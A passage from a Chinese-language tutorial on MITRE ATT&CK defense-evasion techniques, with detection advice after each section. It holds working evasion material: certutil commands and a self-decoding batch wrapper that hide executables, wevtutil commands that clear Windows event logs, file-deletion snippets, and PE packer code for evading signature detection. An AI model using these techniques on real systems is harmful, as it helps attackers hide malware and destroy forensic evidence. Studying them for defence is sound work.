复制代码将文本解码为程序 - certutil -decode hello.txt hello.exe
复制代码也可以将程序编码为批处理文件(bat),在文件头部添加几行批处理代码 - @echo off`
- `certutil -decode "%~f0" hello.exe`
- `start hello.exe`
- `exit /b 1
复制代码像这种编码混淆文件的方法可以绕过基于签名的检测,网络入侵检测等,较多的恶意代码样本使用了此技术。 运行效果图执行完encode后生成的txt文件和bat文件内容
执行decode解码为exe文件,或直接执行bat脚本文件,代码顺利执行
检查及限制方案执行进程和命令行监视,以检测与脚本和系统实用程序相关的潜在恶意行为。 参考链接20、入侵痕迹清除原理及代码介绍 在分析恶意代码的时候,大家通常都会看到很多删除文件的操作。通过删除文件,攻击者可以清除入侵过程中的痕迹,防止留下证据被防御者找到。删除文件的方法有很多,大多数是用一些库函数,API,system命令等等。具体代码如下: - int main()
- {
- string dirName = "D:\\test";
- bool flag = RemoveDirectory(dirName.c_str());`
- return 0;
- }
- int main()
- {
- string path = "c:\\test.chm";
- rmdir(path.c_str());
- return 0;
- }
- int main()
- {
- string command;
- command = "rd /s /q c:\\test ";
- system(command.c_str());
- }
- int main()
- {
- string command;
- command = "del /F /Q C:\test.txt ";
- system(command.c_str());
- },
复制代码不过大家都知道,在Windows下删除文件其实不是真的删除, 只是把那个文件的某个属性从0标识成1,你看不见而已。这也是为什么被删除的数据,可以恢复的道理。所以也有很多恶意代码使用删除文件工具,进行安全删除。如SDelete,它安全地删除没有任何特殊属性的文件相对而言简单而直接:安全删除程序使用安全删除模式简单地覆盖文件。较为复杂的是安全地删除 Windows NT/2K 压缩、加密和稀疏文件,以及安全地清理磁盘可用空间。 感兴趣的可以参考: 除了删除文件,一般还会清除日志Windows事件日志。Windows事件日志是计算机警报和通知的记录。Microsoft将事件定义为“系统或程序中需要通知用户或添加到日志中的任何重要事件”。事件有三个系统定义的来源:系统、应用程序和安全。执行与帐户管理、帐户登录和目录服务访问等相关的操作的对手可以选择清除事件以隐藏其活动。 程序命令执行清除事件日志: - wevtutil cl system
- wevtutil cl application
- wevtutil cl security
复制代码 运行效果图运行SDelete如图所示 清除系统日志 检查及限制方案 1.在环境中检测与命令行函数(如 DEL,第三方实用程序或工具 )相关的不常见的事件。 参考链接21、文件加壳原理及代码介绍 软件打包指的是对可执行文件进行压缩或加密。打包可执行文件会更改文件签名,以避免基于签名的检测。通常我们称软件打包为加壳。 当一个程序生成好后,很轻松的就可以利用诸如资源工具和反汇编工具对它进行修改,但如果程序员给程序加一个壳的话,那么至少这个加了壳的程序就不是那么好修改了,如果想修改就必须先脱壳。而且壳的解压缩是在内存中进行的,能检测到的杀毒软件就很少。大部分的程序是因为防止反跟踪,防止程序被人跟踪调试,防止算法程序不想被别人静态分析。加密代码和数据,保护你的程序数据的完整性。不被修改或者窥视你程序的内幕。 现在有很多加壳器,例如MPress和UPX。也可以写一个自己的加壳器。针对PE文件写加壳器需要对PE文件的格式和各种结构有充分的了解。 下面是加壳器的主要代码
- //增加区段
- void CPackPE::AddSection1(char*& pFileBuff, int& fileSize, const char* scnName, int scnSize)
- {
- // 1.1 增加文件头的区段个数
- GetFileHeader(pFileBuff)->NumberOfSections++;
- // 1.2 配置新区段的区段头
- IMAGE_SECTION_HEADER* pNewScn = NULL;
- pNewScn = GetLastSection(pFileBuff);
- PIMAGE_SECTION_HEADER pLastSection = pNewScn - 1;
- // 1.2.1 区段的名字
- memcpy(pNewScn->Name, scnName, 8);
- // 1.2.2 区段的大小(实际大小/对齐后大小)
- pNewScn->Misc.VirtualSize = scnSize;
- pNewScn->SizeOfRawData =
- aligment(scnSize,
- GetOptionHeader(pFileBuff)->FileAlignment);
- // 新区段的内存偏移 = 上一个区段的内存偏移+上一个区段的大小(内存粒度对齐后的大小)
- pNewScn->VirtualAddress =
- pLastSection->VirtualAddress +
- aligment(pLastSection->Misc.VirtualSize,
- GetOptionHeader(pFileBuff)->SectionAlignment);
- // 设置文件偏移和文件大小
- while (TRUE)
- {
- if (pLastSection->PointerToRawData)
- {
- // 找到前一个非0的区段
- pNewScn->PointerToRawData = pLastSection->PointerToRawData +
- pLastSection->SizeOfRawData;
- break;
- }
- pLastSection = pLastSection - 1;
- }
- // 1.2.4 区段的属性(0xE00000E0)
- pNewScn->Characteristics = 0xE00000E0;
- // 2. 修改扩展头的映像大小
- GetOptionHeader(pFileBuff)->SizeOfImage = pNewScn->VirtualAddress + pNewScn->Misc.VirtualSize;
- // 3. 扩充文件数据的堆空间大小
- int newSize = pNewScn->PointerToRawData + pNewScn->SizeOfRawData;
- char* pNewBuff = new char[newSize];
- memcpy(pNewBuff, pFileBuff, fileSize);
- // 释放旧的缓冲区
- delete[] pFileBuff;
- // 将新的缓冲区首地址和新的文件大小赋值给形参(修改实参)
- fileSize = newSize;
- pFileBuff = pNewBuff;
- }
复制代码这里是部分壳代码
- //修复IAT
- void DealwithIAT()
- {
- // 1.获取第一项iat项
- // 1.获取加载基址
- // 2.获取导入表的信息
- g_dwImageBase = (DWORD)MyGetModuleHandleW(NULL);
- PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(g_dwImageBase + g_conf.ImportTableRva);
- // 3.解析导入表信息
- HMODULE hMoudle;
- PDWORD TableIAT = NULL;
- DWORD ThunkRVA;
- while (pImport->Name)
- {
- //获取dll基址
- hMoudle = MyLoadLibraryA((char*)(pImport->Name + g_dwImageBase));
-
- // 是否是有效的IAT
- if (pImport->FirstThunk == 0)
- {
- ++pImport;
- continue;
- }
- TableIAT = (PDWORD)(pImport->FirstThunk + g_dwImageBase);
- if (pImport->OriginalFirstThunk == 0)
- {
- ThunkRVA = pImport->FirstThunk;
- }
- else
- {
- ThunkRVA = pImport->OriginalFirstThunk;
- }
- PIMAGE_THUNK_DATA lpThunkData = (PIMAGE_THUNK_DATA)(g_dwImageBase + ThunkRVA);
- DWORD dwFunName;
- while (lpThunkData->u1.Ordinal != 0)
- {
- // 名称导出
- if ((lpThunkData->u1.Ordinal & 0x80000000) == 0)
- {
- PIMAGE_IMPORT_BY_NAME lpImportByName = (PIMAGE_IMPORT_BY_NAME)(g_dwImageBase + lpThunkData->u1.Ordinal);
- dwFunName = (DWORD)&lpImportByName->Name;
- }
- else
- {
- dwFunName = lpThunkData->u1.Ordinal & 0xFFFF;
- }
- DWORD dwFunAddr = (DWORD)MyGetProcAddress(hMoudle, (char*)dwFunName);
- DWORD dwOldProtect = 0;
- MyVirtualProtect(TableIAT, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
- dwFunAddr = EncryptFun(dwFunAddr);
- *(TableIAT) = dwFunAddr;
- MyVirtualProtect(TableIAT, 4, dwOldProtect, &dwOldProtect);
- ++TableIAT;
- ++lpThunkData;
- }
- ++pImport;
- }
- }
- //修复目标PE的重定位表
- void FixPEReloc()
- {
- // 获取当前进程的加载基址
- DWORD dwImageBase = (DWORD)MyGetModuleHandleW(NULL);
- // 1. 修复目标PEg_dwImageBase
- PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(g_conf.stcReloc.VirtualAddress + dwImageBase);//g_dwImageBase
- while (pReloc->SizeOfBlock)
- {
- PWORD pOffsetType = (PWORD)((DWORD)pReloc + sizeof(IMAGE_BASE_RELOCATION));
- DWORD dwCount = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
- // 修改内存属性
- DWORD dwOldProtect = 0;
- MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, PAGE_EXECUTE_READWRITE, &dwOldProtect);
- // 循环检查重定位项
- for (DWORD i = 0; i < dwCount; ++i)
- {
- WORD dwOffset = *pOffsetType & 0xFFF;
- WORD dwType = *pOffsetType >> 12;
- // 去除无效的重定位项
- if (!*pOffsetType) continue;
- if (dwType == 3)
- {
- // 获取此重定位项指向的指针
- DWORD dwPointToRVA = dwOffset + pReloc->VirtualAddress;
- PDWORD pdwPtr = (PDWORD)(dwPointToRVA + dwImageBase);
- // 计算增量值
- DWORD dwIncrement = dwImageBase - g_conf.dwDefaultImageBase;
- DWORD OldProtect = 0;
- MyVirtualProtect((PBYTE)(pdwPtr), 0x4, PAGE_EXECUTE_READWRITE, &OldProtect);
- // 修改重定位项
- *((PDWORD)pdwPtr) += dwIncrement;
- MyVirtualProtect((PBYTE)(pdwPtr), 0x4, OldProtect, &OldProtect);
- }
- // 下一轮循环
- ++pOffsetType;
- }
- // 恢复内存访问属性
- MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, dwOldProtect, &dwOldProtect);
- // 下一个重定位块
- pReloc = (PIMAGE_BASE_RELOCATION)((DWORD)pReloc + pReloc->SizeOfBlock);
- }
- }
复制代码通过加壳,修改了文件的大小,签名等信息,可以绕过基于特征的检测,防止被静态分析,是恶意代码常用的伎俩。 运行效果图目标程序被加壳后,发现PE文件多了一个区段,这里面就是壳程序 检查及限制方案 使用文件扫描来查找已知的软件包装器或包装技术的工件。 参考链接三、结语 防御逃逸所拥有的技术是MITRE ATT&CK框架所述战术中最多的,详细介绍了防御逃逸技术的不同方向以及相同方向上的不同手段。通过上文的介绍,大家可以看到达到相同的目的可以用到不同的技术手段。当然随着防御者根据这些策略的更新,攻击者也在寻找更隐蔽的方法来绕过安全工具的检测和防御。这就要求防御者能够与时俱进,紧跟技术发展的脚步。本文到此就结束了,希望大家都能有所收获!
|